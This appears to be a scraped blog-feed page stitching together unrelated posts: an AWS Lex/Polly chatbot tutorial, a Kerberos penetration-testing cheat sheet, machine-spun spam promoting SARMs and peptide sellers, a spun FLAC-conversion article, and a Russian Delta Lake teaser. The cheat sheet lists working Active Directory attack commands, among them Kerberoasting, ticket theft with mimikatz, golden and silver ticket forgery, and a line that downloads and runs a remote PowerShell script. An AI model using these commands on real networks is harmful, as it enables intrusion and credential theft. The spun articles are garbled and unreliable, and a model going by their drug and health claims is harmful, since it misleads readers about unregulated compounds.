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learning-code-ficusoft · 3 months ago

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Building Chatbots with Amazon Lex and Polly

Building Chatbots with Amazon Lex and Polly

Amazon Lex and Polly are AWS services that help developers build conversational AI chatbots with natural language processing and text-to-speech capabilities.

Amazon Lex: A fully managed service for building voice and text-based conversational interfaces powered by automatic speech recognition (ASR) and natural language understanding (NLU).

Amazon Polly: A text-to-speech (TTS) service that converts text into lifelike speech using deep learning technologies.

Step 1: Setting Up Amazon Lex for Chatbot Development

1. Create a Bot in Amazon Lex

Go to the AWS Management Console → Open Amazon Lex.

Click Create Bot → Choose Start with an example or Create your own.

Name your bot (e.g., CustomerSupportBot).

Set IAM permissions (Lex needs permission to call Lambda functions if needed).

2. Define Intents and Utterances

Intent: Defines what the user wants (e.g., BookFlight, OrderPizza).

Utterances: Sample phrases the user might say (e.g., “I want to book a flight to New York.”).

Example of defining an intent for booking a flight:json{ "intentName": "BookFlight", "sampleUtterances": [ "I need to book a flight", "Can you help me find a flight?", "Book a ticket to {Destination}" ] }

3. Define Slots (User Inputs)

Slots capture user input for the intent. Example slots for a flight booking bot:

Slot Name Data Type Required ExampleDestination AMAZON.CityYes" New York"Date AMAZON.DateYes "Next Friday"NumTickets AMAZON.Number No"2"

4. Configure Responses

Add responses for the chatbot:json{ "messages": [ {"contentType": "PlainText", "content": "Where would you like to fly?"} ] }

5. Test the Bot

Use the built-in Test Chat Interface in Amazon Lex.

Deploy it to platforms like Slack, Facebook Messenger, or a website.

Step 2: Enhancing Conversational Experience with Amazon Polly

1. Convert Text to Speech

Amazon Polly provides natural-sounding voices. Example using Python & Boto3:pythonimport boto3polly = boto3.client("polly")response = polly.synthesize_speech( Text="Hello! How can I assist you today?", OutputFormat="mp3", VoiceId="Joanna" )# Save the audio response with open("speech.mp3", "wb") as file: file.write(response["AudioStream"].read())

2. Stream Speech Output in Real Time

Polly allows real-time streaming of responses, making interactions more human-like.

Step 3: Integrating Amazon Lex and Polly for Voice Chatbots

Capture User Speech Input (Lex processes user queries).

Generate Response in Text (Lex determines the response).

Convert Text Response to Speech (Polly speaks the response).

Example integration:pythondef text_to_speech(response_text): polly = boto3.client("polly") speech = polly.synthesize_speech(Text=response_text, OutputFormat="mp3", VoiceId="Matthew") return speech["AudioStream"].read()

Step 4: Deploying the Chatbot on Web & Mobile Apps

Amazon Connect: Integrate the chatbot for customer service.

AWS Lambda: Handle backend logic.

Amazon API Gateway: Expose chatbot as a REST API.

Amazon Lex SDK: Embed the bot into websites and mobile apps.

Conclusion

By combining Amazon Lex for NLP and Amazon Polly for speech synthesis, developers can create intelligent, voice-enabled chatbots for customer service, virtual assistants, and interactive applications.

WEBSITE: https://www.ficusoft.in/aws-training-in-chennai/

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offensivewireless · 1 year ago

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Kerberos Penetration Testing Fundamentals

Today I will write about Kerberos Penetration Testing, which Active Directory uses to manage authentication inside the corporate environments. First a brief explanation about how Kerberos works and what we should know before trying to hack Kerberos. Kerberos IntroductionKerberos Components Kerberos Authentication Kerberos Penetration TestingEnumeration Kerberos Vulnerability Analysis Kerberos AttacksBrute Force Kerberos Kerberoasting ASREPRoast Pass The Ticket (PTT) Overpass The Hash/Pass The Key (PTK) Silver Tickets Golder Tickets Kerberos Post-Exploitation F.A.Q Pentesting Kerberos Kerberos Introduction Kerberos flows Kerberos Components - KDC - Kerberos Distribution Center - Client - The client is requesting access to a service - Service - service to allow when a ticket is requested TGT - Ticket Granting Ticket SPN - Service Principals' Names are associated with service accounts and they can be used to request Kerberos service tickets (TGS). In Kerberos, if the RC4_HMAC_MD5 encryption is in use, we have an NTLM hash. Kerberos Authentication ToolDescriptionGitCrackMapExecRubeusMetasploitEmpirenmapjohnhashcatkerbrute Kerberos Penetration Testing Enumeration nmap --script krb5-enum-users --script-args krb5-enum-users.realm='rfs.local'-p 88 kerbrute userenum --dc 10.0.0.1 -d example.domain usernames.txt kerbture bruteuser --dc 10.0.0.1 -d example.domain passwords.txt username Kerberos Vulnerability Analysis Kerberos Attacks Brute Force Kerberos kerbrute bruteforce --dc 10.0.0.1 -d example.domain combos.txt Kerberoasting python GetUserSPNs.py /: -outputfile .Rubeus.exe kerberoast /outfile: iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat | % { $_.Hash } | Out-File -Encoding ASCII Crack the Hashes hashcat -m 13100 --force john --format=krb5tgs --wordlist= ASREPRoast Check ASREPRoast for all domain users (credentials required). python GetNPUsers.py /: -request -format -outputfile Check ASREPRoast for a list of users (no credentials required) python GetNPUsers.py / -usersfile -format -outputfile Pass The Ticket (PTT) Harvest Tickets in Linux grep default_ccache_name /etc/krb5.conf cp tickey /tmp/tickey /tmp/tickey -i Harvest Tickets in Windows mimikatz # sekurlsa::tickets /export .Rubeus dump Convert Tickets python ticket_converter.py ticket.kirbi ticket.ccache python ticket_converter.py ticket.ccache ticket.kirbi Overpass The Hash/Pass The Key (PTK) python getTGT.py / -hashes : python getTGT.py / -aesKey python getTGT.py /: export KRB5CCNAME= python psexec.py /@ -k -no-pass Silver Tickets python ticketer.py -nthash -domain-sid -domain -spn python ticketer.py -aesKey -domain-sid -domain -spn export KRB5CCNAME= Execute remote command to use the TGT. python psexec.py /@ -k -no-pass Golder Tickets python ticketer.py -nthash -domain-sid -domain python ticketer.py -aesKey -domain-sid -domain export KRB5CCNAME= python psexec.py /@ -k -no-pass Kerberos Post-Exploitation F.A.Q Pentesting Kerberos NetBios Penetration Testing SNMP Penetration Testing SMTP Penetration Testing SSH Penetration Testing FTP penetration testing Read the full article

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poplabsec · 1 year ago

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Kerberos Penetration Testing Fundamentals

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flytrout91 · 4 years ago

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Nolvadex Sarms Australia.

4 Method Sarm Pile, Deca Durabolin O Trembolona

Content

Exactly How Do Sarms Function?

Cardio Raises Your Healing Time.

Exactly How To Build Muscle Mass Like Experts.

Bikes Can Be Utilized To Generate Even More Intricate Molecules.

Collagen is too huge for the skin to absorb, whereas, in contrast, peptides are the best dimension for topical application. Once they've been taken in, the body can after that harness their protein-producing capacities. In 2019 Vapourtec developed a partnership in the direction of peptide synthesis with Teacher Peter Seeberger and also his Team at Max Plank Institute, Berlin. This work has actually been published in the paper revealed right away below. The side-chain of proline is covalently bonded to the N of the amino team, so in polyproline, there will be less flexibility of turning regarding the Cα-- N bond than with other amino acids.

Are SARMs bad for liver?

Life threatening reactions, including liver toxicity, have occurred in people taking products containing SARMs. SARMs also have the potential to increase the risk of heart attack and stroke, and the long-term effects on the body are unknown.

Whether you're battling with creases, loss of firmness, discolouration, dehydration, dullness, and so forth, there specify peptides that can make a difference for each one. Nonetheless, it actually takes a range of peptides to assist deal with multiple skin troubles, there isn't one that does everything. A fantastic method when you've been shedding the candle at both ends, is to utilize Patchology FlashPatch Restoring Evening Eye Gels. These over night hydrogel mini sheet masks are extremely comfy and also deliver an effective hit of collagen enhancing peptides along with hyaluronic acid as well as dark circle dealing with arnica for visible improvements come early morning. In the quest for excellent skin, peptides are a force to be considered.

How Do Sarms Work?

Peptides alone are primarily also little to elicit an immune response sufficient to generate antibodies. Therefore, the peptide of rate of interest is conjugated to service provider proteins including numerous epitopes to stimulate T-helper cells, which cause the B-cell feedback that creates the antibodies.

These chemical frameworks separate peptides from tags and also dyes and also can be hydrophobic or hydrophilic to modify the all-natural hydropathy of the peptide to which it is conjugated. Spacers of various sizes are typically readily available for variable ranges between peptides as well as the color or tags. A typical hydrophobic spacer is aminohexanoic acid, and an usual hydrophilic spacer is poly glycol. Requirement peptide synthesis is performed making use of L-amino acids, but an usual alternative is to manufacture the peptide making use of D-isomers, which are the enantiomers, or mirror photos, of chiral L-amino acids. While the chemical formula equals, D-amino acids may customize the feature of the peptide. Methylation of histone proteins is a typical approach of epigenetic law, as well as mono-, di- and trimethylated lysine residues can be included in peptides to simulate this post-translational alteration. The thiol group on cysteine can likewise be methylated via an acetamidomethyl group to precisely create disulfide bridges.

Cardio Raises Your Recuperation Time.

Health and wellness Bars with included CollagenThe benefits of collagen peptides for wellness as well as elegance has been confirmed and also identified for several years. Scientific studies have shown that 10 grams a day or perhaps much less have a positive effect on joint, bone as well as skin wellness. PoGoGUI uses transcript translations and recommendation genetics comments in addition to peptide identification files in 4 column tab apart layout, mzid, mzIdentML, and also mzTab formats to pass on to the defined PoGo executable. Extra criteria to choose outputformats, enable mapping with amino acid replacements or merging result of several peptide recognition data can be chosen with checkboxes as well as buttons. Extra details regarding parameters, PoGo input and output layouts can be found on top of the 'Learn and also Support' section.

We are also providing expedited distribution times for Covid-19 related tasks. Whilst the generation and shipment of peptide rehabs stand for substantial obstacles, the basic storage of peptides can be troublesome. Hao Luo from Merck explained the trouble of peptide fibrillation and also methods for alleviating the threats of fibrillation. It ends up that a super-fast high temperature as well as high pH treatment using flow chemistry can substantially postpone the onset of fibrillation without any significant degradation of the peptide. Teacher David Craik provided a remarkable presentation on cyclotides - cyclic peptides created by a variety of plants. These peptides, making up three disulphide bonds that form a "knot", are both varied as well as durable. Prof. Craik supplied an introduction of these peptides and also their utility as a backbone for the distribution of healing peptide epitopes.

The peptides can enduring the digestion system, making dental shipment of peptide medicines a genuine opportunity, although currently the bioavailability of such orally-administered peptides is reduced. Food is the major stimulus of glucagon-like peptide 1 launch, with raised hormonal agent levels noticeable after 10 mins of starting to eat and also remaining increased in the blood circulation for a number of hrs afterwards. The hormone somatostatin holds back the manufacturing of glucagon-like peptide 1. Glucagon-like peptide 1 belongs to a family of hormones called the incretins, so-called because they boost the secretion of insulin. Glucagon-like peptide 1 is a product of a molecule called pre-proglucagon, a polypeptide which is split to generate several hormones, including glucagon. Due to the fact that they originate from the exact same resource, these hormones share some resemblances, so are called 'glucagon-like'.

Tiny fragments of protein with the capacity to tell our skin to fix as well as rejuvenate itself, we reveal why you require to integrate them into your anti-ageing routine. While the advantages of copper peptide are shown, in studies it is hardly ever compared with various other peptides or other components such as effective antioxidants. With so many components proven to profit skin, it is very important not to concentrate on a solitary active ingredient. Remarkably, there is additionally study which shows that copper is potentially harmful. Nevertheless, direct-peptides for Buy best quality peptides Direct Slovakia focuses mostly on the application of pure copper to the skin, and also not as a peptide. We are continuing to use complete assistance to our customers as well as prepare to assist with any type of Covid-19 research. We have actually currently dealt with a variety of consumers on this and also are creating a full range of Sars-Cov-2 overlapping peptides in addition to certain ACE2 analogues.

For over 20 years, many scientists have been looking into the favorable effects of collagen. In 2011, the McAlindon research group was able to show that the consummation of collagen hydrolysate with short-chain collagen peptides can not only inhibit the degeneration of articular cartilage, but likewise promote its regrowth. direct-peptides.com Buy best quality peptides Direct Europe website of professional research studies have actually verified the performance of collagen hydrolysate with short-chain oligopeptides on skin regrowth, skin hydration as well as skin flexibility. The deepness of wrinkles can be considerably and sustainably reduced. The skin complexion of the participants enhanced noticeably and lastingly. Taken routinely, it can support the health and wellness of joints and also bones as well as also accomplish a quicker regeneration of the tissue. To name a few things, it advertises a normally glowing and moisturized skin.

Just How To Build Muscle Like Professionals.

This web page highlights the crucial aspects of peptide synthesis, one of the most common approaches of synthesis and also filtration and also the strengths and restrictions of the corresponding methods. On behalf of the Harley Medical Team, professional dermatologist Dr. Justine Hextall told me that peptides can have a lot of different applications. A mix of peptides which "trick" the skin into generating even more collagen, helping to company, plump and also reduce the look of fine lines and also wrinkles. A collagen stimulating copper peptide enveloped in a polymer system which dives through the layers of the skin to particularly target collagen-producing cells. Peptides might be in the limelight for their incredible collagen-boosting powers, but actually, peptides are way more than simply a one-trick pony.

As Ostarine has anabolic results, the dieter can reduce calories without having to worry about muscle or strength loss.

Have you come across SARMS also known as Selective Androgen Receptor Modulators?

With SARMS, skeletal muscle mass and also stamina in androgen-deficient people can be improved.

They're being called Steroids 2.0, a choice with powerful anabolic results, no steroids, or need for a post cycle therapy.

Nonetheless, these supplements don't have the muscle mass growth results of genuine steroids as well as cause major adverse effects that make them harmful for human usage.

To date Ostarine has been evaluated in 8 scientific trials involving approximately 600 subjects consisting of three effectiveness studies.

As a result, permitted ɸ worths will certainly be fairly limited compared to other amino acids. The peptide bonds that connect amino acid residues in a polypeptide are developed in a condensation response between the acidic carboxyl team of one amino acid and also the fundamental amino group of another amino acid. In the context of a peptide, the amide group (Carbon Monoxide-- NH) is referred to as the peptide group. Actually prompt distribution and really responsive to queries relating to the items. Very delighted i was recommended to utilize MM Ingredients compared to every various other hydrolised collagen internet site turning out to be utter scam.

Bicycles Can Be Made Use Of To Produce Even More Intricate Particles.

Cell Signaling Innovation offers off-the-shelf and custom-synthesized blocking peptides that can be used to assess the specificity of antibody sensitivity in your assay. We likewise focus on synthesis of premium customized AQUA peptides, including difficult sequences and uncommon post-translational adjustments. When deposit X was an uncharged polar residue, the polar zipper device led to a lot more stiff second structures, which subsequently constructed right into nanori bbons.

The factor for the extensive use Peptides in skin care items is that, contrasted to collagen molecules, Peptides are in fact small enough to penetrate the skin. direct peptides Norway peptides best buy website are a mild yet efficient selection for all skin kinds as well as ages. Skin care items which contain this component are an excellent choice for delicate skin, as Peptides can be less irritating than some anti-ageing ingredients even on fragile areas, like the skin around the eyes. While peptides are an all-natural element of skin, in their all-natural type they are very delicate, unstable components. To stabilise as well as develop peptides that can in fact be soaked up right into skin, remain undamaged, and consequently be able to favorably impact skin, they are lab-engineered. When science determined just how to do this, the opportunities and also number of peptides available exploded. Peptides are an absolutely remarkable team of components that ongoing study has actually proven can profit several age relevant skin worries.

What Are The Benefits Of Working With Concrete Delivery Companies?

Chemically manufactured peptides carry favorably and also negatively billed amino and also carboxy termini, respectively. Because these termini are not butted in vivo, they can be modified by N-terminal acetylation and also C-terminal amidation, which get rid of the particular charges to mimic all-natural peptides and increase cell permeability. N-terminal asparagineshould be stayed clear of, since the asparagine N-terminal safeguarding team can be hard to remove during bosom. Therefore, either remove or substitute the N-terminal amino acid. N-terminal glutamineis unpredictable, because it forms cyclic pyroglutamate under acidic conditions during safeguarding team cleavage. This can be prevented by acetylating the N-terminal glutamine or by replacing glutamine with pre-formed pyroglutamic acid or a traditional amino acid.

Peptides shorter than 5 deposits are usually soluble in aqueous services, except if the entire sequence includes hydrophobic amino acids. and McGregor A. C. T-butyloxycarbonylamino acids and their use in peptide synthesis. Artificial peptide combining requires the activation of the C-terminal carboxylic acid on the inbound amino acid utilizing carbodiimides such as dicyclohexylcarbodiimide or diisopropylcarbodiimide. These protecting plans likewise incorporate each of the steps of synthesis and also bosom, as described in the table as well as in later areas of this page.

Cells located in the lining of the tiny intestine (called L-cells) are the major resource of glucagon-like peptide 1, although it is likewise secreted in smaller sized amounts by the pancreatic and also the main nerves. Glucagon-like peptide 1 encourages the launch of insulin from the pancreatic, raises the volume of cells in the pancreas that create insulin as well as keeps back glucagon launch. Glucagon-like peptide 1 also boosts the feeling of volume during and in between meals by acting on cravings centres in the mind as well as by reducing the draining of the tummy.

Blackstone Labs face indictment for selling illegal compounds - Natural Products INSIDER

Blackstone Labs face indictment for selling illegal compounds.

Posted: Thu, 14 Mar 2019 07:00:00 GMT [source]

e.g. confirmation of a purified healthy protein, recognizing protein interactors from a pull-down experiment, or determining hundreds proteins present in cell line/tissue. This calming moisturiser contains 2% royal epigen, a peptide protein discovered in royal jelly which is proven to enhance the speed of cell turn over for significantly smoother and also much more even skin in simply 28 days. The global peptide rehabs market is anticipated to be worth $24 billion by 2020. BrisSynBio's very first spin-out company, Zentraxa, has actually established a peptide layout, production and examination platform that will meet the existing, unmet requirements of the large as well as financially rewarding market for restorative peptides and also specifically 'Biobetters'. Peptide-protein conjugates are used to generate antibodies that target the details peptide.

Sadly, the human skin is everyday impacted by elements such as ultraviolet radiation, environmental pollution, hormonal agents and also nutrition. Thanks to a targeted consumption of our collagen peptides, it is feasible to successfully combat the effect of these exterior as well as interior variables on the skin.

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Not simply for skin aging, yet also for tackling skin dullness, hyperpigmentation, anti-glycation, moisturising the skin as well as more! We intended to harness the broad series of different peptide powers in our brand-new Peptide Family. The perfect addition to your CSA routine, our full range of innovative peptide mixes can help to support many different skin problems. Once they are past your epidermis layer, Peptides send out a signal to your skin to start repairing itself by triggering an increase in collagen manufacturing, leading to a healthier-looking skin.

The majority of business that generate peptides, healthy proteins or antibodies will work either as suppliers to other organisations or in bespoke, or agreement production i.e . A beta sheet types as an outcome of hydrogen bonding interactions between peptide backbones of parallel or antiparallel beta strands, which as the name suggests are mainly linear. On the other hand, the 'polar zipper' system refers to hydrogen bonding interactions in between the amino acid side chains on nearby beta hairs. Peptides are fairly a classy skin care component presently. Some beauty brand names might put them in products where they're inadequate simply to have an additional selling point on the label.

#buy peptides direct eu #buy peptides direct europe #eu peptides best buy #europe peptides best buy #buy best quality peptides direct eu #buy best quality peptides direct europe

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fineprose63 · 4 years ago

Text

Interfering Peptides Targeting Protein Protein Communications The Future Generation Of Medications.

4 Means Sarm Stack, Deca Durabolin O Trembolona

Content

How Do Sarms Function?

Cardio Increases Your Recuperation Time.

How To Develop Muscle Mass Like Professionals.

Bicycles Can Be Made Use Of To Create More Intricate Particles.

Collagen is as well big for the skin to take in, w here as, in contrast, peptides are the perfect size for topical application. Once they have actually been taken in, the body can after that harness their protein-producing abilities. In 2019 Vapourtec created a collaboration towards peptide synthesis with Professor Peter Seeberger and his Group at Max Plank Institute, Berlin. This work has actually been published in the paper revealed quickly below. The side-chain of proline is covalently bound to the N of the amino team, so in polyproline, there will be much less liberty of rotation regarding the Cα-- N bond than with other amino acids.

Are SARMs bad for liver?

Whether you're battling with wrinkles, loss of firmness, discolouration, dehydration, dullness, and so forth, there specify peptides that can make a distinction for each one. Nonetheless, it truly takes a range of peptides to help combat multiple skin issues, there isn't one that does whatever. A fantastic trick when you've been shedding the candle at both ends, is to use Patchology FlashPatch Fixing Evening Eye Gels. These over night hydrogel mini sheet masks are unbelievably comfy and also deliver a powerful hit of collagen boosting peptides alongside hyaluronic acid as well as dark circle combating arnica for visible improvements come morning. In the quest for ideal skin, peptides are a force to be reckoned with.

How Do Sarms Function?

Peptides alone are mostly also little to elicit an immune feedback adequate to generate antibodies. As a result, the peptide of passion is conjugated to carrier healthy proteins containing lots of epitopes to promote T-helper cells, which induce the B-cell reaction that generates the antibodies.

These chemical structures separate peptides from tags as well as dyes and can be hydrophobic or hydrophilic to modify the natural hydropathy of the peptide to which it is conjugated. Spacers of various sizes are typically offered for variable ranges between peptides and the dye or tags. A common hydrophobic spacer is aminohexanoic acid, and a common hydrophilic spacer is poly glycol. Requirement peptide synthesis is performed using L-amino acids, yet a common option is to synthesize the peptide using D-isomers, which are the enantiomers, or mirror pictures, of chiral L-amino acids. While the chemical formula is identical, D-amino acids may modify the feature of the peptide. Methylation of histone proteins is a common approach of epigenetic regulation, as well as mono-, di- and also trimethylated lysine deposits can be added to peptides to mimic this post-translational adjustment. The thiol group on cysteine can also be methylated through an acetamidomethyl team to uniquely develop disulfide bridges.

Cardio Raises Your Recuperation Time.

Health and wellness Pubs with included CollagenThe benefits of collagen peptides for health and wellness and elegance has actually been confirmed and identified for many years. Scientific research studies have shown that 10 grams a day or perhaps much less have a positive impact on joint, bone and skin wellness. PoGoGUI uses transcript translations and also referral genetics comments along with peptide recognition files in four column tab separated format, mzid, mzIdentML, as well as mzTab formats to pass on to the specified PoGo executable. Added parameters to pick outputformats, make it possible for mapping with amino acid substitutions or combining result of numerous peptide identification documents can be picked with checkboxes and buttons. Extra information concerning specifications, PoGo input and also output layouts can be discovered on top of the 'Find out as well as Assistance' section.

We are additionally using expedited distribution times for Covid-19 associated tasks. Poland peptides best buy such as direct-peptides.com and distribution of peptide therapeutics represent considerable difficulties, the basic storage space of peptides can be bothersome. Hao Luo from Merck discussed the trouble of peptide fibrillation as well as methods for minimizing the dangers of fibrillation. It turns out that a super-fast high temperature and also high pH treatment using circulation chemistry can considerably delay the start of fibrillation with no considerable degradation of the peptide. Professor David Craik provided a fascinating discussion on cyclotides - cyclic peptides produced by a range of plants. These peptides, comprising three disulphide bonds that form a "knot", are both diverse as well as robust. Prof. Craik supplied a review of these peptides and their utility as a backbone for the shipment of healing peptide epitopes.

The peptides are capable of surviving the gastrointestinal system, making oral distribution of peptide medicines a genuine possibility, although currently the bioavailability of such orally-administered peptides is low. Food is the primary stimulation of glucagon-like peptide 1 launch, with boosted hormonal agent levels obvious after 10 mins of beginning to consume as well as continuing to be raised in the blood circulation for several hours afterwards. The hormone somatostatin keeps back the production of glucagon-like peptide 1. Glucagon-like peptide 1 belongs to a household of hormonal agents called the incretins, supposed because they improve the secretion of insulin. Glucagon-like peptide 1 is a product of a particle called pre-proglucagon, a polypeptide which is divided to generate many hormones, consisting of glucagon. Due to the fact that they originate from the exact same source, these hormonal agents share some similarities, so are called 'glucagon-like'.

Tiny pieces of healthy protein with the capability to tell our skin to repair and also invigorate itself, we reveal why you require to incorporate them right into your anti-ageing routine. While the benefits of copper peptide are confirmed, in researches it is rarely compared to other peptides or other components such as powerful anti-oxidants. With so many active ingredients verified to benefit skin, it is essential not to concentrate on a solitary component. Remarkably, there is likewise research study which shows that copper is possibly toxic. However, the study focuses primarily on the application of pure copper to the skin, and also not as a peptide. We are continuing to supply full support to our consumers as well as are ready to help with any type of Covid-19 research. We have actually already dealt with a variety of customers on this and are creating a complete variety of Sars-Cov-2 overlapping peptides in addition to certain ACE2 analogues.

For over two decades, various researchers have actually been investigating the favorable effects of collagen. In 2011, the McAlindon research group had the ability to show that the consummation of collagen hydrolysate with short-chain collagen peptides can not only hinder the degeneration of articular cartilage, but additionally boost its regeneration. A number of clinical research studies have shown the effectiveness of collagen hydrolysate with short-chain oligopeptides on skin regeneration, skin hydration and also skin elasticity. The deepness of creases might be considerably and also sustainably lowered. The skin complexion of the participants boosted noticeably and also lastingly. Taken routinely, it can sustain the health of joints and also bones as well as additionally accomplish a much faster regeneration of the tissue. Among other points, it promotes a naturally glowing and also moisturized skin.

How To Develop Muscle Mass Like Experts.

This web page highlights the vital elements of peptide synthesis, the most common methods of synthesis and filtration and also the strengths and limitations of the particular strategies. In behalf of the Harley Medical Group, expert dermatologist Dr. Justine Hextall informed me that peptides can have a lot of various applications. A combination of peptides which "trick" the skin right into creating even more collagen, helping to firm, plump and reduce the look of fine lines as well as creases. A collagen revitalizing copper peptide enveloped in a polymer system which dives via the layers of the skin to particularly target collagen-producing cells. Peptides may be in the spotlight for their amazing collagen-boosting powers, but actually, peptides are way greater than simply a one-trick pony.

As Ostarine has anabolic impacts, the dieter can cut calories without needing to stress over muscle or stamina loss.

Have you come across SARMS aka Selective Androgen Receptor Modulators?

With SARMS, skeletal muscle mass as well as strength in androgen-deficient individuals can be enhanced.

They're being called Steroids 2.0, an option with effective anabolic impacts, no steroids, or need for a post cycle therapy.

However, these supplements don't have the muscle mass development effects of authentic steroids and trigger major side effects that make them dangerous for human use.

To date Ostarine has been evaluated in eight medical tests including about 600 subjects consisting of 3 efficiency studies.

As a result, permitted ɸ worths will certainly be fairly restricted compared to other amino acids. The peptide bonds that connect amino acid deposits in a polypeptide are formed in a condensation response in between the acidic carboxyl group of one amino acid as well as the standard amino group of an additional amino acid. In the context of a peptide, the amide team (CO-- NH) is described as the peptide team. Truly punctual delivery and also really receptive to queries pertaining to the products. Really satisfied i was recommended to make use of MM Components compared to every other hydrolised collagen site ending up being utter rip offs.

Bicycles Can Be Used To Generate More Complicated Molecules.

Cell Signaling Innovation supplies off-the-shelf and also custom-synthesized stopping peptides that can be made use of to examine the uniqueness of antibody sensitivity in your assay. We likewise focus on synthesis of high-grade customized AQUA peptides, including difficult series as well as uncommon post-translational adjustments. When deposit X was an uncharged polar deposit, the polar zipper device resulted in a lot more rigid additional frameworks, which subsequently put together right into nanori bbons.

The reason for the extensive use of Peptides in skin care items is that, compared to collagen particles, Peptides are really tiny adequate to pass through the skin. Peptides are a gentle yet efficient choice for all skin types as well as ages. Skin treatment products which contain this component are a wonderful selection for sensitive skin, as Peptides can be much less irritating than some anti-ageing components even on fragile locations, like the skin around the eyes. While peptides are a natural component of skin, in their natural form they are really delicate, unsteady components. To secure and develop peptides that can really be soaked up right into skin, remain undamaged, and also as a result be able to positively impact skin, they are lab-engineered. When scientific research identified just how to do this, the possibilities and number of peptides available took off. Peptides are an absolutely fascinating group of ingredients that continuous research has shown can profit several age relevant skin issues.

Chemically synthesized peptides bring positively and also adversely charged amino and carboxy termini, specifically. Because these termini are not butted in vivo, they can be modified by N-terminal acetylation and C-terminal amidation, which remove the particular costs to imitate natural peptides and boost cell leaks in the structure. N-terminal asparagineshould be prevented, because the asparagine N-terminal shielding team can be difficult to get rid of throughout cleavage. Consequently, either eliminate or substitute the N-terminal amino acid. N-terminal glutamineis unpredictable, since it creates cyclic pyroglutamate under acidic conditions during shielding team bosom. This can be avoided by acetylating the N-terminal glutamine or by substituting glutamine with pre-formed pyroglutamic acid or a conservative amino acid.

Peptides much shorter than 5 residues are typically soluble in aqueous remedies, except if the entire sequence includes hydrophobic amino acids. as well as McGregor A. C. T-butyloxycarbonylamino acids and their use in peptide synthesis. Synthetic peptide coupling calls for the activation of the C-terminal carboxylic acid on the incoming amino acid using carbodiimides such as dicyclohexylcarbodiimide or diisopropylcarbodiimide. These safeguarding schemes also incorporate each of the actions of synthesis and also cleavage, as described in the table and in later sections of this page.

Cells found in the cellular lining of the little intestinal tract (called L-cells) are the major source of glucagon-like peptide 1, although it is additionally produced in smaller quantities by the pancreas and also the central nervous system. Glucagon-like peptide 1 encourages the release of insulin from the pancreatic, increases the quantity of cells in the pancreas that create insulin and keeps back glucagon release. Glucagon-like peptide 1 additionally boosts the sensation of volume during and between meals by acting upon hunger centres in the brain as well as by reducing the emptying of the stomach.

Blackstone Labs face indictment for selling illegal compounds - Natural Products INSIDER

Blackstone Labs face indictment for selling illegal compounds.

Posted: Thu, 14 Mar 2019 07:00:00 GMT [source]

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marlysgrimstone-blog · 6 years ago

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“Changing FLAC Audio To OGG Vorbis Https

Short one as we speak - I used to be on the lookout for a manner of changing all my ripped CDs to an alternate format for moveable audio use. No Foobar for Mac, although there's been a lot of discussion about the potential for a Mac model. The Swiss military knife I exploit when I have flacPack To ogg Conversion convert formats on Mac OSX is Sound Grinder Professional , but it ain't low-cost. Max is free, but it's buggy and unfinished, based on months of evaluating it. This is one case the place sadly, you get what you pay for.

CloudConvert is a free online file conversion tool with assist for over 200 file varieties, together with 20 of the preferred audio formats. The free plan limits you to 5 concurrent conversions with a most file measurement of 1GB. It also limits you to 25 complete conversions per day, and free customers are on the bottom of the priority list, so it might take a long time to transform files throughout peak utilization hours. CloudConvert is simple to use and accessible as a Chrome Extension and iOS app, in case you do not wish to use the online software. MP3 Converter (music ogg flac wav wma aac) is a music converter that means that you can remodel songs and audio files to different extensions: you may convert mp3 to ogg, flac, wav, wma, aac, flacPack To ogg Conversion m4a, and many more. Choose the extension, select an output format and convert any music, good for creating albums of songs and folders of audios, compose musical themes and works with music. volume management rms normalization software Sound Amplifier & Normalizer CD players and different legacy audio players don't support Replay Achieve metadata; auto level edit mp4 wav normaliser. Nonetheless, some lossy audio formats, are structured in a way that they encode the quantity of each compressed body in a stream, and tools comparable to MP3Gain make the most of this to alter the quantity of all frames in a stream, in a reversible way, without including noise best free wave to flac convertor that fixes quality; Applicantion which scale back measurement of file for mobile the best way to increase cd quantity on ringtone wav sound editor flac leveling increase mp4 batch normalizer. free online audio volume repair Free cut back flac file measurement downloads MP3Resizer. Rising the loudness to match industrial CDs? the best way to enhance quantity on music batch resize flac normalizer musikfiler. Have CD backup music files in FLAC format and want to play with OGG player? Tried to convert FLAC to a more popular audio format without losing much quality? How to batch convert FLAC to OGG, MP3 or other formats for playing with QuickTime player, iTunes, Windows Media Player, Real Player? The following article will introduce a professional FLAC OGG Converter for Mac or Windows as well as a detailed tutorial on how to convert FLAC to OGG format. Free Studio is a free and superior audio converter software program that supports multiple formats. Since it consists of a gaggle of several programs, you've to specify the task i.e. audio conversion. Simply navigate the main menu and click on ‘convert', then choose the ‘Audio converter choice'. It's not solely one of the best MP3 converter on the web, but also creates superior MP3 sound with the assistance of the out there lame encoder presets (Insane and Extreme). Changing a lossless audio file, like WAV or FLAC, to a lossy format, like MP3 or AAC, leads to a loss of fidelity. If it's essential to send a lossless audio file to an electronic mail account with file size restrictions and you're nervous about sending delicate material using a cloud service, like Dropbox or Google Drive, a file compression software is a good possibility. Here are some of our favorite file compression packages. You can install the optional FFmpeg library to import a much bigger range of audio codecs together with AC3, AMR(NB), M4A, MP4 and WMA (if the files are not DRM-protected to work solely in particular software program). FFmpeg will also import audio from most video files or DVDs that aren't DRM-protected. On Mac only, Audacity can import M4A, MP4 and MOV files with out FFmpeg. Each track is, by default, positioned in a separate file named after the track in a subdirectory named after the artist underneath the present listing. This may be modified using the OUTPUTFORMAT and VAOUTPUTFORMAT variables in your Each file is given an extension identifying its compression format, 'vorbis' for '.ogg', '.mp3', '.flac', '.spx', '.mpc', '.aac' or '.wav'.

Residual coding. If the predictor doesn't describe the sign exactly, the difference between the unique sign and the predicted signal (called the error or residual sign) must be coded losslessy. If the predictor is efficient, the residual sign would require fewer bits per sample than the original sign. FLAC at present makes use of only one technique for encoding the residual (see the Residual coding part), however the format has reserved space for added strategies.

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bigdataschool-moscow · 4 years ago

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Быстрая OLAP-аналитика больших данных в Delta Lake c Apache Spark SQL и Presto

В этой статье рассмотрим, как сделать SQL-запросы к колоночному хранилищу больших данных с поддержкой ACID-транзакций Delta Lake еще быстрее с помощью Apache Presto. Читайте далее про синергию совместного использования Apache Spark и Presto в Delta Lake для ускорения OLAP-процессов при работе с Big Data.

Еще раз об OLAP: схема звезды для BI-отчетов по Big Data

